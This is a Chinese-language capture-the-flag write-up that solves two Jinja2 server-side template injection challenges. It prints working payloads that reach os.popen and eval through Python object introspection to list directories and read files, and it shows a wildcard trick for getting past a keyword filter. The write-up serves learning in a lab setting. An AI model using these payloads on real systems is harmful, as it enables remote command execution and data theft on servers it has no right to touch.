SSTI例题

初学SSTI,知识很有限。

Simple_SSTI_2 (Bugku)

进入链接

image-20220930224539802**

提示需要传入一个名为flag的参数,根据经验,一般在config里有东西,所以尝试

?flag={{config}}

image-20220930224547347**

存在返回结果,但是config里没有发现什么东西。

已知是SSTI漏洞,那么接着利用漏洞ls查看一下

?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../%27).read()%20}}
##__class__:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。
##__init__:初始化类,返回的类型是function
##__globals__[]:使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
##os.popen() 方法用于从一个命令打开一个管道。

image-20220930224559558**

发现很多文件目录,一个一个查看,在第一个文件目录里就发现了flag文件

image-20220930224606066**

这里没有设置过滤,所以直接cat ../app/flag得到flag

image-20220930224613919**

[G1CTF2021]SSTI

打开链接,点击图中图标都没有反应
image-20220930224628726
依照下表进行语句测试
image-20220930224638423**
当执行?cmd=49时出现回显
image-20220930224648802**
搜索可以得到
Jinjia2模板引擎通用的RCE Payload:(或者上面那一道题的payload也可以)

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()") }}
{% endif %}
{% endfor %}

执行成功
image-20220930224705718
然后将payload里的’ls’改为’cat /flag’
在cat flag时发现存在过滤,测试可以发现过滤了flag
所以将’cat /flag’改成’cat /f*lag’绕过
image-20220930224719354
得到flag,提交正确。

参考文章:

ssti详解与例题以及绕过payload大全

ctf中的python ssti